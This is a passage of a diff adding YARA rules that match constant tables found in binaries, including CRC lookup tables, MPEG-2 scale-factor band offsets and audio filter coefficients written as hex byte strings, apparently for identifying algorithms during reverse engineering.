+	$a0 = { 000005b00fd00a601b101ea014c011703620339039f03c402d30288022e027506c4069f063906620775072e078807d305a605fd055b05000417044c04ea04b10d880dd30d750d2e0c390c620cc40c9f0eea0eb10e170e4c0f5b0f000fa60ffd0b4c0b170bb10bea0afd0aa60a000a5b082e087508d30888099f09c4096209390b5b1b001ba61bfd1aea1ab11a171a4c1839186218c4189f198819d31975192e1d9f1dc41d621d391c2e1c751cd31c881efd1ea61e001e5b1f4c1f171fb11fea16d31688162e167517621739179f17c415b115ea154c15171400145b14fd14a61017104c10ea10b111a611fd115b11001375132e138813d312c4129f1239126216fd36a63600365b374c371737b137ea359f35c435623539342e347534d334883039306230c4309f318831d33175312e335b330033a633fd32ea32b13217324c3b753b2e3b883bd33ac43a9f3a393a623817384c38ea38b139a639fd395b39003db13dea3d4c3d173c003c5b3cfd3ca63ed33e883e2e3e753f623f393f9f3fc43da62dfd2d5b2d002c172c4c2cea2cb12ec42e9f2e392e622f752f2e2f882fd32b622b392b9f2bc42ad32a882a2e2a752800285b28fd28a629b129ea294c2917202e207520d32088219f21c421622139234c231723b123ea22fd22a62200225b26ea26b12617264c275b270027a627fd258825d32575252e2439246224c4249f2 }
+
+condition:
+	$a0
+}
+
+	
+rule Melp_fsvq_cb__flt32___32_big_8188_
+{
+strings:
+	$a0 = { 3f52afff3fbf86a93f15b8883fa820ff3f5893fb3f1d31ca3f1d842b3f61bee43f9d192f3f66f1133f9fc3613f829be13f04662c3fbe9a243f2687093f3787053f267d463fa153693f5efb6e3f686e3b3f956d1a3fbbea683f3e4a5a3f3656583fc83ac13f3896253f073d293f2853b13f4362e93f58be623f8583a53fc8fe9b3ee38b483f6ee6323f9b1b613f2b7c9a3f6ec3ca3f4e75043f69edf23f5e453d3f4256153f84d9b63f9040743f910c3d3f4a01cd3f4eb1b33f8707293f732c843f8101a83f8f49b63f7a2b6b3f90c0f03f85b57c3fb76c0d3f51e42e3f048db03f6eb1d53f76e7f73f6309b73f653b4b3f2a8b3b3fae98d43f8b62633f66f20f3f8e2ff13f7b151e3f6d3d963f5e22d53f6cd0463f69de053f7bb2033fbaf4413f3b763e3f6c68dc3f8b568f3f73c9583f4a276b3f8335e33f6798743f5ab5e53f32809d3fd3550d3f01a4be3f4f42243f8e974a3f8ab5f63f2136933f7c79f63f5f0a3d3f7f414a3f3fd9ba3fad6fdb3f3b40703fa406293f8a5c703f84c41e3f3f891e3f524d5e3f613d213f77212d3f7a15ec40009b243f3dd8f93f1b5b4f3f2519f03f2ffa4c3f42a6f43f5554543f5eae8e3f4f7f283f13af213fc391043f285f393f80dcd33f9d07e13f4967553f7dc0123f5237df3f81eaff3f60c8693f0467f13f9c451c3f62f5563f7aeb4f3f6265bf3f8549cf3f7303c03f619c9d3fafcdab3f6408103f26dcf43f8dab433f629b283faa25e13f8febf23f2074863fa16cc63f528c483f7788663f4e62023f1d450f3fb716b13f66527a3f58e0013f1fe39f3fa74d9c3fae2cc33f3c45aa3f5ab3dd3f2cbd453f54a2773fafc11e3f4935223f3c67493f77ffac3f8ce3ef3f6d78703f3a7ba23fa561463f628cac3f8ac34c3fb160d03ee59f2c3fa6131b3f4546c33f38219f3f8a568a3f68eb033f569ac33f68e4da3f9f4f513f94481f3f1da2403f95b56c3f8430a93f6bfbad3f6aa0553f87b9523f5644fa3f4460bb3fa82cdc3fabb38d3ef6a2b13f2f838c3f8b1cd23f8071693f431ac13f551fe63f8a72753f6acb863fb6ac6d3f6ebb343f188ba83f2711733f8973fb3f58f4733fa1cca73f6645c33f66362a3f757eaa3f838d263f9b686a3f6573543f78d6f53f5789943f3d01b03f862d303f89f80a3f73db3c3f8735763f73c6c93f8c9a703f30b88d3f967e073f6965f53f7672113f5bf90e3f91c7823f898b1e3f6c913a3f66fe0d3f94f5c33f92610f3f509aaa3f6c59213f791b933f8ca7ce3f774cb23f7806f23f64a45d3f9122f23f8e23a73f3005d53f4b36153f8365803f89d7dc3f97b74a3f52644e3f5870543f8a364c3f1fb8913fa28cc53f38d9b63f7d816b3f9776d53f94ab3f3f2d68d73f9983063f66eec83f6235d63f15fafd3f98367e3f6209243f912b5e3f6674b03fa1b14b3f7ef4bf3f816c943f68012e3f5d03c93f30079a3fc7efb73f50d7f13f33b1f23f4a2d303f9a24463f5251c23f95862b3f638f363f5c5bf23f7360283faa1de23f3153583f41307b3f8c49903fb921a33f7108703f35dabe3f4a3a193f53867f3f05206d3fa581cf3f7061d83f7d8ba43f65a9433f6a070c3fade9c03f73b6fe3f6fa9b03f5685663f2b6c593fa554653f3fcb4f3f95702e3f8575433f38a9043f80ac643fa058363f62187a3f5abb023efef0283f9c7b243fb3b4b33f4c8f113f4c6ca93f4b25c43fa1d9dc3f757daf3f5804ea3f68ee4a3f6446c73fabcbff3f42fa833f4218373f7cc60d3f8115c63fb049b23f587b893f5882ae3f527ff63f964fa03ee8b1dd3edd74d63f31095b3f887b913f63f8233f5890a33f9015443fab4cc23f9a1ee63fcdc0553f302f733f0028703fa4e8963f2dd1813f2ccac53f861d213f81a9223f74666f3f4d9f1b3fde9d6b3f6b671b3f23b5e13f46a3ad3f82cf183f7de7ea3f633beb3f605ef63f4bfb163f4562173fcf61dd3f9b19153f1c32123fafb70f3f8756c93f1e3d813f249b523f2add9c3f2a8a403f2d436c3f9c27633f581ce73f821ffb3f5e0e0f3f80d81b3f70b8173f64d3e13f768aa43f3afc693fa4a5273fa039713f809c0b3f46f21f3f9a17093f2808a73f283e963f9ddb013f5ff2d43f8da8ac3f5af1aa3faca61a3f4abc843f83efc83f43eb9e3f81e9853f85ab863f3f68163fa7a32b3f5a9a0b3f391ec93fa1a2163f8e0a073f2c08533f8e13123f53de1e3fa2e7473f2bc2ec3f88b9ed3f40a4903f60d1e93f8de3763fa017553f1ebae03f40a16a3fb8383b3f640d4e3f8257a83f3c9cb23f6916ca3f595fcc3f9c7dcc3f8abc383f20bda93f933e683fb04d1a3f49284a3f2e0ded3f65df333f5ac1e33f6bb7413fa9c5ce3fd85b6c3f982bd03f1864563f1a262d3f20795f3f2d24d13f54473d3f4932403f4cb6953fbff8873fb3404f3f27e7d13f647f243f8b65883f33d61f3f55f3a53f4cd2d43f3b340d3f55f82b3f9036873fad38a43f65f4b23f65dacf3f6f38d63f8066343f7b83273f50dde83f73ccaf3f54ef243fa8825a3f87af6c3f2aeb4f3f885f4a3f690e783f8045803fab65cb3f35f6ba3f3864fe3f5049aa3f79e7da3fb04dfd3f891f1d3f4a21103f8affb03fa07cb73f8244e13f3813983f0fc3e73f313c793f99f79d3f878d933f767f803f7ffab13f065fa63f898a3b3f8baa823f6926d93f85b2bc3f5c1b863fb4fd2a3f562e4d3f2a99b73f8513163f8b466f3f51f9be3f50fdb13f864de43f8aa8973f61947d3fb1ad083f4e9ec33f4814623f76d8903f793b083f91ab323f836bfd3f788dd23f5dd0633f574f833fba60bb3f7b6ef83f0ed8a13f3d1a543fb0111b3f45bd733f24f91a3f73cbd53f7462b23f8099bf3fcd98393f9c37c53f3cfb333f3eb6073f28c35d3f502d493f6ea0cb3f6c3fd53f74c6f83f645f5b3f903c433f84df0d3f6f79963f819fb23f8a52693f6263fa3f90301a3f89dab63f5135983f3c83993f9b909f3f58795f3f544cf03f9a3c863f643a543f6f36df3f6342243f705d643f74ab713f8e9c4e3f9a6ae43f7a553b3f868db03f590d063f70940c3fa086a53f7869943f66aa8f3f5814f93f51cda33f9a92b43f79f04e3f575fe53f5ecbfb3f609eba3f7cf8403f6e84cf3f840dfe3f9a4ad83f67661f3f8c2d383f8d74de3f390c3d3f71743f3f9b10903f96e4eb3f225e573f5ef5773f8180453f6fbaba3f8419093f7fad193f2faede3f8cda0a3f82dc6e3f9c77a33f92c6b53f5019093f6d58533f4d28d03f90e31d3fbeafc43f2d86013f1c58ff3f425c2d3f4ee1153f8570a43f89df763f8492603f681fda3fabd72c3f89bff93f1559b43f43cfd53f516ece3fa58e4c3f8773193f5a2da53f7569d33f5f75973fa77d953f9c1ec53f6f81a63f3701213f908b4c3f5b60af3f6bbecb3f798eb93f524a173f5911f13fafb1183f631c973f35f2883f83d1ab3fa3b2e63f266e333f917a893f61c1723f599cae3f51e4e73f828deb3fb0e38a3f8b66733f13aace3f184d873f40841f3fa1ffce3f9094703f5e2c563f44a3a53f93d2953f88e85c3f69f9be3f4bcd8a3f4a4e273f5aad3f3fc30f523f5b62523f63506e3f41b4cc3f5ff3493fd2a04d3f55930c3fca02543f676c483f0c0aaf3f10c5eb3f3440d13f3281993f36baae3f93a3333f8c2e343f5edd483fd3ef203f8931fd3f4e63c73f1b87ad3f111dac3f2ef3913f538fcd3f54b3813fb9749b3f81db663f7064883fc979d13f4be6c53f27a4613f0f05fb3f243fa33f4c10d83f901ad63fb2becf3f3f0f173fa5d9663f9197dd3fa69d5a3f1323cd3ef90ecb3efa78f23f1baeef3f5526313f4d804e3f92fa943fa884163fa722963f3258c53f70cfd13f5923813f5f69013f59ef853fa150ca3f755e183f2ad0a23fb406103f5bed743f08b46c3ef889a03f394be03fb58b823f71dc943f6334f83faa53a83f8806af3f0d7d073f8caa973f6ae5ac3f5fee703f899f3c3f5880733f827fe53f6803683fa9d7233f21d3133f4825293f8e47dc3f40ec533f6570a43f7214383f7814833fa6fb4c3e27baaa3fcee19c3f055e183f9f517a3f19159c3f964d1a3f4d800a3f8a20713f648e8a3f60aaa83f37a8c63f89a82f3f7f48c33f9a772d3fa7f31f3fa874543f3253873f3ed3633f3d5f9a3f3b401c3eadcbff3fe9f0993f2f4eec3f3770693f2d13d73f8a62c33f650d063f7457193f72baf13f6915053f5d5ad13fb9c82a3f39bd303f9689ca3f9ad5633f8ab46c3f94f2e93f2992213f007a073eed6d7f3f1060dd3f9158973f55c4443fde412d3f80047d3f4e2c133f5418503f5564633f46ba173f4e20ab3f8128953fae1ede3f2b13063fb577c03fc2623d3f2354e33ee4d2f63efe5c923f3191ef3f3a176e3e3eea213fd004643f55d3243f967fe53f5c521e3f6294ff3f8184d33f4a0fc33f814f483f4d6d5d3f26fddb3fccb0323f1979e13f8773973f4d3faf3f7e29203f92b3253f5461a63f70713f3f56706d3f4280f13fb322293f7cc1983f832d6f3f7976143f0d1e753f934f1e3f584f093f82258d3f6cf2063f88efaa3f9491193f4da1cb3f98b8d03f8e65303f3ea7ce3f890d7c3f3d70613f6cb7803f71590c3f9591f73fd114983f4657da3f3ca07f3f8b6cce3f874d273f48953a3f30ffc93f4791c53f3a7e203fa6a1f13fc955153f06b0533f0edadc3f2910a13f8a047d3f8b7db73f37f26f3f40e0fc3f7720533f644cad3fa192f33f695b033f9b67ba3f46a8973f71ea9a3f91c3503f45d6173f751c5c3f62a5403f9c08af3f863b3f3f71741d3f9345c83f567ba23f10f41f3f2927d43f9c08f23f82719b3f7d1cf33f6cefbb3facd21c3f95096c3f0aee0f3f9d234f3f19a6e73f9a56f73f33af753f6ed6343f50c2613f8272da3fa56fc13f4bfe2a3f51d8c73fa089e33f05a5db3fa58c763f52d8803f5536723f63d8063f2fb7203fc46aec3f82fa9c3f8859b83f451b933f6a36b13f754e4d3f774aa93f5902693f60472c3f0f78033fa92b563f566a873f8d886e3f4d03643f73d2953f2c88a43fa9eb963f4e90043f915c743f38e7043fbdb8993fa272fc3f32074f3f3c024b3f9ed80a3f5fae143f5340e63f4b56973f570dd83f82d1633fb4440f3f33baaa3f776b1a3f3e05033f9a33be3f22464a3f63749b3f36920c3f9d966c3f0347fa3f9802863f70a3833fa2f3993fa184663f6019f43f6278e23f6db8243f6695a73f614f053f4812cf3f9ca0a13f5ad5bf3f78fc403fac6f373f4ea66e3f6964c73f74f8a53f7d81cf3f64b2423eb7b8d43fccff543f9019983f3b18653f4ba4403f5b31d33f8910883f5e9e2c3f85949f3f65856a3f524af13fd692143f6e8ae73f3d7e673f725eff3f6adc5d3f6fc1053f627b2d3f5f45bf3f53ded73f91145e3f88d6dc3f20f3023fac8eef3f831a5d3f39f0f63ef853a03f0488b53f5018c63fbde0593fb8415f3ecdce183f34506a3f97c1273f9933a93f64f7663f43269e3f5f39f33f8095c83f770f173fad8cb93f9be0b53f1f89403f2041893f8a58473fb8b5803f30b2103f2d2d233f408e043f640d0b3fb12d903f64bf5d3f1262cc3fb605923f86f8723f65a07b3f6df5cf3f47a3553f510e993f4659293fa2ef5f3f4ebaae3f71a1233f94b6953f8e0a283f62236c3f41c9e63f9776f73f4ae1373f519ac83faf28953f70a1e03f6d64733fafae1d3f7783273f296d093f514c443f5026ee3f5fe8473f67df4c3f9e047d3f4ff90e3f8bd06c3f74fde33f6d44cc3f9465953f0f8fef3f6a16613f8d5d463f738c223fbb24e13f8dc1053f3ca6b93f974d1f3f40c88a3f513fe23f58815e3f75d7993f6e16b53f5ebef03f93bee43f9314123f78200c3f8068b23f3591253faaddf83f0a15553f25fe763f95ca083f57723f3fae84c73f5b37b93f592c173faa44bf3fca45783f180a183f08d9303f13d88c3f25b4783f4cc4593fb722c03fa3891e3f0931663fa8806b3f343a863f91ea793f58403a3f354bad3f309e453f2c549b3fba79703f5a4f123f563b473fd4bbba3f0e1eb43f28e7ef3f4145633f43e5a83f4d49a53f5f34e73f9c13553f7126d93f82ba733fa106ab3f5ea1403f8b0fae3f80d0813f4e5c5f3f4ed1d03f3d53ef3fa27cd93f9be47a3f8bc4093f90b8393f9eef4e3f0c73693f28d1203f4508813f3cf6e03f5819e33f8df70e3f8e075f3f6bffde3f8a40d13f24e1723fc69a353f6ad6023f4833403f263fab3f2eaf363f930ca23f8ec0b53f48f27c3fc288613f21d6f13f6185be3f7710563f3d0f623f6c4c6a3f57ff373f8cb1573f893f103f8795253f81a5a93f8bb7ae3f51f2cb3f21fc5d3f4bfe093f920af23f8429fa3fb0e7ef3f81e00d3f5ae2973f8b522a3f92e51d3f86fd333f425ce63f4223d13f5418613f548f863faa61bf3f6972153f0d3ae73f3d43073f8a4e2f3f962ced3f2be33b3f6cf00f3f8a89e33f8e188b3fb0bf663f90ad823f3e66343f68fa9c3f752d133f7c78b83f62a10e3f4f2a5a3f6a01ac3f86a1be3fa7b6ed3f7fb2893f7d67453f8339d23f68241c3f605f9e3f6556d23f7b399f3f7b70ac3f66e6a73fb8a04d3f72908a3f86b9bb3f6390973f8be3c13f2cabe73f6bafb83f7cb7a23f63e8473f5108923f962d173f6108923f90827b3f67cada3fa6c3013f8953483f35b90f3f30750c3f801b543f51c4653f94ce573f706ef43f84e2223f6e41a23f6a0f0a3f60a9583f927bcc3f2af8ad3fa0f3b23f4f6c7a3f7527803f92a4013f8124183f85dd333f83ef7c3f892ab73f4d39653f68ce703f6155d63f81cb3e3fa0121f3f92f7553f1b34f83f7de6473f7f73b03f305b183f714c233f6c405b3f9dd8d83f644b1b3f9ca8b93fabf3623f503f923f19c2f43f03a69c3fa563993f7e81243f81a0513f465abc3f63c7603fb795c43f986e8f3ef4e1613ee8e0ca3f3b56b83f95ccd93f46e5263f99d45a3f5da0383f7e6b2f3f89a96d3f7370ce3f87456b3f7076b03f4492ab3f867c6c3f6c52c63f9aa2ba3f7513733f6a24ab3f9390973f7c3e853f4244a63f6724a73fa258ef3f52975b3f739b993f78df163f7d21de3f8148ed3f6f2f553f9b574f3f91a2a53f07e5213f154da53fa9f3383f25f1bf3f8faf293f7baf103f729bae3f8c58d63faa3bcd3f8741d13f8c53f43f04ccff3f2aff3b3fb05f7c3f4d6ca43f36b0423f3a77923ee080523f7c8f113f4b90eb3f86346e3f9b3b4b3fab1c4c3f5c10e93f853ed53f71715c3f6bd06c3f8da2403ef717163f1cb31c3fd235b53f4c59323f47d6d83f536c273f6238da3f8f9f803f79a7e33f7a32f43f6dd8513f3f98a63f3042a63feef30a3f7a64e53f3454de3f30fadf3f507dc33f3b763e4003e78a3fa89b173f07f4dc3f29e4f73eeeb5703f2c88f83f29ebea3f2e3d603f38d8ed3f3c4cbe3ea622a33f1100d63fd032333f68f2f13f445cee3f9bf8663f6c81e43f47fc223f846a233f6e002a3f90fece3f29fd7a3f2884c73f8ed56b3f8780913f460a203f924e623fac34333f62c7a83f4b0b183f3175193f753bf33f898a333f7dc3f03f96e52e3f866efc3f9da8ef3f6b6b5d3f56a8da3f522b283f7b30513fa4330d3f20e1613f54f7ba3f5f340d3f800bcc3f8939863fae06d13f5d81f13f36d7b63ee3b0c43fa913493f5cee283f52d99d3fa420d53f967f803f8211803f4ce9f73f62bf773f6b1bbd3f0637153f6737003f579fcb3f7fd5ed3fd4e3d63f5ccc683f7d74e63f5d1e323f5c7a9e3f6299c83f25c3ad3fd0b3dd3f2ca71e3f0d83943faefa7b3f4d72263f8a0e0f3f4f7f6b3f5800003f532e273f942d623f95965b3f2937a03f0e69cf3f9ec6263f788db03f5462b23f9e72fc3f6ad59d3f54d1423e8af4ae3f7a5ebb3f3304793fc02c233f675eea3f8d71973f75cb253f84b26c3f8024573f63ee913e8cdf8b3f20eb143f9261953f8e5f9e3fa85a253f891c653f63cc9f3f7445353f82580c3f76cdf23f28c1ec3fb942353f64e2e33f8041463f56e2da3fb997b33f4bfb483f580fed3f418a443f5150983f5a67413f8849563f5ae9ff3f3dfeda3f5e56cd3faf74ef3f7d5bbc3f84e7e63f6fec143f7e425b3f7939da3f982eec3f82f5773f6e58713f879e6b3f3313383f3582023fae19c13f63c2553f4fcf923f9d00d63f82e7ab3f381e793faeab933f2d4a3c3f35cf683fa0b1893f9a81aa3f24ccab3f11ba5e3f694ed33fac0bed3f856dd23f04d1963fc5d9dc3eca2d0e3f155dd53f856e263f7956193f481b113fdd3b9f3f2165a13ec4ee9e3ed20dfe3f1f93363f4192323f76a26e3f9ec69b3f9701b83f752c063f3d2c6b3f1747413f8e277c3f8d05ea3f7bb18e3f784f7f3f8acc363f916a403f82bd903f71e6ff3f9f49623f11e8c43f8756083faf4a803f392e943f4e1ee63f83912e3f8bc2a03f5fbc4d3f46d30f3f49a9863f67bd063f9a04da3f57cf5f3f975fd43f83c3d73f4383173f8c6eb13f6667733f822cba3fa83f253f81a9653f3204c03f60f4e83f3fbfe83f4af30a3f8638433fb5ffa43f50fbec3f564bba3e918b0d3f84cb293f489e773f85c70d3f8af7983f6d0b633f8157043f76ada33fa48a1e3f8ab3cc3e3aca793f007f673f1cfa483f5d6d093f85f4b23f99be773f9c6e443f99d51b3f92874d3f8cd4353ecca81a3fa6bc7b3fab77183f0b498c3f8e8e1d3f3448383f75a6503f8b0abb3f6b58f33f7f01b83fa7f2783f9e0d3d3f93db343f12bd7f3f1a69593fd676c93f1416163f0ca7f83f16361a3f2089f43eb1eb423f8275583f66fa2f3f6b19d63f89ff0d3f653bd13fa5d7dc3f9e44d83f65872f3f74b9243e69c6b03f0c1f863fa88d433faad37c3f59b8ed3f3d37193f94d2d43f939b3d3f7613c23f5904d53ee6e30d3f951e6d3fada1b23f3fb3d93f8c95853f971ee23f75d9b23f61e2263f5f1a2a3f4d49c73f8cedbb3f96c7223fc9f6b23eed744f3f08f7123f12eefa3f5b82903f9b67b23f53210c3f53dfb13f810c6f3f031eb03f02fa2f3f4dbc663fae90793fb2d5203f855c6c3f7205ab3f6168733f5635f83faaa0cb3f05acde3f032a393f205cff3f47ca103f73a3773fbf68273f9e32903f6360bf3f560d563fd71e973f0769883ee4191a3f1fb3b73fa8770c3f86c9fb3f640f993f60a2873f4670f43f621a3f400f129d3f17035c3edc1f213f13b9d03f2e222d3f2ada663f48c8de3f4dcec03f5c9f843f4d1c083f8be0bd3f0e51f43fbd96d13f3b49383f952a283f78f27c3f590c803f553ac53f64a1f13f6cf12c3fa362e93f383b823f7b50d33f84bf1a3f96a37b3f2f2ad03f486ac23f6447f53f8f0f733f8468dc3f9d37223f4589483f8f96c03f3ffbad3f6274b03f7546913f9de9213f85c4873f6f0ed43f5552d23fbc0e523f36616b3f7a31f93f3513513f9e69943f7435373f55cd923f4b4ca13f7dccc93f6f28313f8a220c3f88569b3fa1c1b53f13533f3fd082173f0425f23f0be73a3f06eafb3f4659c03f8a20923fab41c83f7ea4553f2cd7e03f5da1663fafcf5f3fa996af3f5de53b3f2246f13f1973eb3f3a59083fc16f653f2423a73fdaf3a13f3b45073f171ee23f0bce533f1ff9513f476a943f68ae103f67558a3fe1635e3f9e383b3f889a1c3ef972cd3f27dd443f369ee43f32a0a93f3fdd983f58e0653f6bda303f9ef9ec3f885f073f7c98c43f2067383fa7352b3f2e92e63f37ac4f3f1d714c3face79b3f5534df3f8eaefb3f26bdd33f8a84383f8c42183f8832443f8fb2c43f8092a33f674e123f5fc9793f5d885d3f9f4bad3f80bb3d3f98c47a3f3c0da23f1948673fa330a53fa50f9d3f1d5ec03f304e623f4747fa3fb441893f56faf83f88ae973f126f0d3f2c2e553f9e9c2c3f5d70b53f5bba773f8a47dc3f70efed3fa00ffe3f6b11733f8cf8403f2b11e83faecd6c3f0e27d03f0d83413fa1362f3f684f4c3f4fb8b23fd0c6153f24b7a23ee5ae603eecc4053f38d2c43fb022dd3f932eb63f6b25b33f5041463f5fe4153fc47d563f8e03de3f805f293f5e0e953fc1ede13f4119373f11c0ca3f03483d3f184d773f2a34653ffbe9103f37963a3f9370153f3db6c33f43cf3e3f2f9f663f3737b93f32ff2a3f43d70a3f475b4f3fb4f7013f4ba53c3fb042423f3bbfe83f9d89943f3a5fd93f50e4653f5dbc453f36ab8a3f5256263fab66e03f35c8c93f81d8e03f8bd46b3f7d0c3d3f305dfb3f9b63563f5d93713f6dcbab3f5a21213f9616be3f789a563f92dc333f00e7363f89f7e83f80e1723f6faa373f8328e13f7a66663f65c3df3fac4e163f5361353fa3a93b3f36787d3f7da5223f5305c93f3db64e3f46ea103f961ce73f7565b23f569ec33f87e21e3f979c173f4e8eb43fb9143c3f3773c13f8fb5953f43709b3f5321713f54b9243fa357823f61bd733f81b8913f5265173fa1e83e3f83522a3f9d23893f341d193f28c8ac3f3bff153f8595d53f81816b3fc1b4243f3d6e263f291c193f165acd3f2e3a5c3f577b073f95690a3f9106033fbcab583f2093fb3fb0ca683f28c6d63f425b103f8661743f82995b3f5ec16e3f4782803f558ba43fa77e783f6d245b3f8f4e123f0ce6e23f9db3d93f1b18873f97382e3f51ce4a3f5daf193f6b8a8f3fab37f43f44fa9c3f9d55ac3f5049453f3c523f3f622b173fc8dea93f2260803f1b26393f302a783fa538bd3f8c04b83f929d953f0d54003f4de9e23f44f9c23f57313c3f8b74253f813ede3f8692ef3faeb6173f69dc623fa887663f37e6923f077b4a3f394fad3f9734373f604b5e3f766aa93f6b13383f4dc1f83fb1aef73f7b1e5c3fb180cb3ece47133f9d68e83f5b09743f3e6d8b3f3d1e643f4ff8773f97f2563faa038a3f40303c3fe77b7c3eff53613edb65233eff6cf03f50a5483f41ae823f3654b53f811fb43fd13cc53f7fb7d83f8eb3dd3f8da4053f509b203f2d5fbb3f2073cd3f3a543f3f337f5a3fb8977d3fca1ba83f9e16483fa3d0743f1ac1093eeb122b3ef92be53f0c4ee83f0998183f2398313f531f793f551f823fa4b6283f722d623f49f5493fca6cf43f51c10d3f4de9c03f4206643f4c128c3f96279e3f5a22813f56500d3f9b91473f1d361e3f2a38433f4c87663f97b1183fb3cb923f408a263f5685db3f9907b83fa03afb3f955bbc3f91cfb33f214a0a3f7780fe3f52ec6c3f51cfdd3f55784f3fa45c0c3fae1a8b3f6739d23fa149d83f5e89223f4b46fe3f4486493f48f5b23f45284a3f507d5f3edeac643f87f19d3f521ac53f7ae1ac3f6a789e3fad25a23fae7e633f518a013f6f0a913f4e043a3e1014f93ebd45c83f42ef0b3fdc4e833fa4169c3f507bdd3f453ae73f69a5b93f83b9523f64e3bd3ec37f9d3fb16aad3f6536503f41a5983f4bb80b3f2a5c813f8ca4443fb813cb3f84cc4f3f5431be3f591c083f8b55bd3f531e7e3f46e2eb3f38d0ee3f2d39973f4ce1823f9160523fc174b43f874e123f2cdb163f8aaba43f82072d3fb2c5093f67574f3f7bb17d3f636f1a }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_15_tap_hi_filter__flt64___64_lil_120_
+{
+strings:
+	$a0 = { d6e1b6a77c70543f2e2fa09e957064bfa886c8ac88e181bf01a99ee3db6f943f79c9ffe4efdea93ffdaca6a96ddcbebf2c97953f42c1d2bf90460dbffe98e63f2c97953f42c1d2bffdaca6a96ddcbebf79c9ffe4efdea93f01a99ee3db6f943fa886c8ac88e181bf2e2fa09e957064bfd6e1b6a77c70543f }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_8_128__avcodec___faad___32_lil_60_
+{
+strings:
+	$a0 = { 04000000080000000c0000001000000014000000180000001c000000240000002c000000340000003c00000048000000580000006c00000080000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_10_poly_0x233__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000d8cd3103e9ce6206bacb53058bc8c40c1cc1f50f2dc2a60a7ec797094fc4881950d4b91a61d7ea1f32d2db1c03d14c1594d87d16a5db2e13f6de1f10c7dd1033c8fe2130f9fd7235aaf843369bfbd43f0cf2e53c3df1b6396ef4873a5ff7982a40e7a92971e4fa2c22e1cb2f13e25c2684eb6d25b5e83e20e6ed0f23d7ee2066f8ab1165c9a842609aad7363abaee46a3ca7d5690da4866c5ea1b76f6fa2a87f70b2997c41b1ca7912b4fb7a23b76c73b4be5d7085bd0e75d6b83f76e7bb3055e8980156d99b52538a9e6350bb9df4592c94c55a1d97965f4e92a75c7f91b84c6081894f5182da4a0287eb4933847c40a48d4d43958e1e46c68b2f45f78840cc980171cfa90222cafa0713c9cb0484c05c0db5c36d0ee6c63e0bd7c50f08c8d51018f9d6211baad3721e9bd0431d0cd9d4143ddae5176edfb6125fdc871150ff883261fcb93132f9ea3403fadb3794f34c3ea5f07d3df6f52e38c7f61f3bd8e6002be9e53128bae0622d8be3532e1ceac4272de9f5247eeca6214fef972260aab86751a9896402acda6133afeb62a4a67c6b95a54d68c6a01e6df7a32f6ee8b3307ed9b0017d8ab55278bbb6637b2cbff4721dbcc5714eb996747fbaa7777099a854419a9957129fca52239cfb51b4956c5885965d5bd6930e5ee7903f5df880204dc983114e9a86424bab8573483c8ce4410d8fd5425e8a86476f89b744 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_ATM_poly_0xc1__8_byt_refl_False_
+{
+strings:
+	$a0 = { 00c143828647c504cd0c8e4f4b8a08c95b9a18d9dd1c9e5f9657d51410d15392b677f53430f173b27bba38f9fd3cbe7fed2cae6f6baa28e920e163a2a667e524ad6cee2f2bea68a960a123e2e627a564f637b57470b133f23bfa78b9bd7cfe3f1bda58999d5cde1fd6179554509113d2408103c2c60785448d4cce0f0bca48899b5ad8191ddc5e9f569715d4d0119352c0018342468705c40dcc4e8f8b4ac8092dec6eafab6ae829e021a36266a725e476b735f4f031b372bb7af8393dfc7ebf36f775b4b071f332fb3ab8797dbc3eff6dac2eefeb2aa869a061e32226e765a48041c30206c745844d8c0ecfcb0a8849db1a98595d9c1edf16d755949051d312 }
+
+condition:
+	$a0
+}
+
+	
+rule ReplayGainAnalysis_ABYule__flt64___64_big_1512_
+{
+strings:
+	$a0 = { 3fa3c03b944e1732c00ec5ee6d840969bf961f45e0231589401f4293b1792627bf543793203a191ec026aef3c493b24fbf185b8a1e4c7f64402a1c2e7d88094dbf90f32a69584339c02893402b75b5633f9622501c0d30474022f743a866db6cbf953cfc2ecd8fb7c0177d853fc9df463f7857aab89b27914006098a753945f63f691a42ec37f94ebfebd5c297ea51e03f1f860e97db84bf3fc1d114bc3fd1163f67a1859c52285d3fabbe576113daa0c00bd3e291157e06bf9dcf084583670b401973e4dff4667cbf8161ae726be60bc0211853ec0df474bf816e8f30dc87c84022f430f732b1e9bf8119c1d255259dc021a145f39f09ef3f96fde6cbb88786401b6a8303f618b2bf9a96254817b527c011942ed914170b3f90a37c6b0e45f6400191a5b5e206cbbf63bb998fa15d38bfe8088b6185b19c3f7ba1d6506dfa463fc0d4c4bcfd2a76bf5ec36235362f333fc3c90c471777f1c003082b0b3d4591bfb7e3324157aa884006ca198847129ebfaffd38b295d8f6c0052a8a5ab06d053f962798623c8dd44001e553f96bc0e2bfac9cd1a3c7400fbffabe636bb01a553fa87b2d56e84eab3ff018690a02043b3f62363babc63ed6bfdd6903bab5ed1e3fa04058b9146b2f3fc4f6cc0c2e4af8bf8c7ab1872321eebfa9c3a51885292f3f7aaea40a489b503f980adf4719be90bf820ce1096b8dcf3fd363d86544212dbff9cdbfb43de6bdbfccf226dd1bf20d3ff146c211b9b4cfbfb5fbc9d9d69b1fbfd06b8571fa8b9a3fa0cf0092886a30bfc4d58e298ad6b1bf82c0ebac27f12abfccfa500de1fa08bf9835744deb174a3fd9098d4ff29121bf77f0773c61523abfcc5639b2074de73fb0111b133ba22c3fa70a8c6c42737cbee15dc1c2a277053f948a385c61bbda3f60dd3c951dec5d3f68c69b88139cbfbf9e359a12e14ffe3fd587f489cc415cbff7fa394a9f7630bfd05dc18b8545f93febf3bbf6cc1befbfbe47f8c4b5dc8a3fbf3eaef49a09cf3fbe84a4dce85252bfe9d9155e2002ecbfb40e693e891fc83fdea087900145d8bf7340135b89654fbfbfe17f9255b9c6bf78255b9d97bc14bfa4d35df172496e3fad4edc3d272b973fb5559c1ffb273e3f810a4e86e679bcbfa5b1fa0fd8d3febf90bf0dde8601793f9e7c9202e64b5cbf9206327fd0ca8c3fdcbeea678fd581bfe41a43df67632bbfc25ec8acc073c03fd2fbc9616650b7bfcd29fd88acb800bfd7d8158a6351e3bf8d1061999fec0f3f61830971b0d4b73fa4e175eac39cb2bfdae62a6dba2582bfbfbd42a68cfc433fcc6a61a9caf0af3fa4fac2b5044a563f79203873f5ba703fbad3312ebdafc13fb1461ee83e03debf931611efa75e1e3fad9e479e8bc64cbfa059b0c62526ec3fa08020d2dc55573f7632508